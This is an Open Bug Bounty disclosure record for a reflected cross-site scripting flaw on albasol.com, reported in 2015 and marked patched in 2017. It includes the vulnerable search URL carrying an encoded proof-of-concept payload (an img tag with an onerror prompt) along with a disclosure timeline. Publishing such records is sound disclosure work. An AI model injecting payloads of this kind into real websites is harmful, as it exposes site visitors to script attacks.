albasol.com XSS vulnerability

2015-06-22T03:30:00
ID OBB:67725
Type openbugbounty
Reporter Stuxnet
Modified 2017-11-22T09:10:00

Description

Vulnerable URL:
http://www.albasol.com/busqueda/listaLibros.php?tipoBus=full&palabrasBusqueda;=%22%3E%3Cimg%2Fsrc%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3B%3E&boton;=Buscar
Details:

Description| Value
---|---
Patched:| Yes, at 22.11.2017
Latest check for patch:| 22.11.2017 09:10 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 5099479
Google Pagerank| 1
VIP website status:| No
Check albasol.com SSL connection:| (Grade: C+)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 22 June, 2015 03:30 GMT
Vulnerability existence verified and confirmed| 22 June, 2015 03:33 GMT
Vulnerability patched by the website owner| 22 November, 2017 09:10 GMT